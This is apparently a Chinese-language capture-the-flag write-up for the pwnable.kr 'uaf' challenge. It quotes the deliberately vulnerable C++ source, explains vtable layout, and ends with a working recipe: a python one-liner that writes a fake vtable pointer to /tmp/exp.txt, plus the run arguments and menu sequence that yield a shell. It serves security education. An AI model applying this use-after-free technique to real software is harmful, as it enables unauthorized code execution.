Mommy, what is Use After Free bug?
ssh uaf@pwnable.kr -p2222 (pw:guest)
题目里的文件可以用scp -r -P 2222 uaf@pwnable.kr:uaf /mnt/hgfs/share命令下载
题目是一个c++程序,源码如下:
#include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace std; class Human{ private: virtual void give_shell(){ system("/bin/sh"); } protected: int age; string name; public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; } }; class Man: public Human{ public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; } }; int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. use\n2. after\n3. free\n"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0; }
我们的目的是执行give_shell
题目存在UAF漏洞
这里还涉及到一个知识点,对于类里有virtual关键字的函数是虚函数,它可以实现多态性
虚函数的实现是通过虚表的,虚表一般位于对象的最开始,里面按顺序存放有虚函数的地址,如果出现子类覆写虚函数的话,只需要将虚表中对应地址替换即可,对于多重继承的可能会出现多个虚表的情况,否则一般一个类只有一个虚表,虚表之后会是父类数据,父类数据之后是自己的数据
以Man的构造方法为例:
Human *__fastcall Man::Man(Human *a1, __int64 a2, int a3) { Human *result; // rax Human::Human(a1); *(_QWORD *)a1 = off_401570; std::string::operator=((char *)a1 + 16, a2); result = a1; *((_DWORD *)a1 + 2) = a3; return result; }
这里面这个0x401570就是Man的虚表,按照题目的顺序0x401570会是get_shell的地址,0x401578会是introduce的地址
我们可以利用UAF,将虚表偏移,使得原先introduce的地址变成get_shell的地址,这样调用introduce即可获得shell
因此首先python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/exp.txt
然后./uaf 24 /tmp/exp.txt
然后选择3,2,2,1即可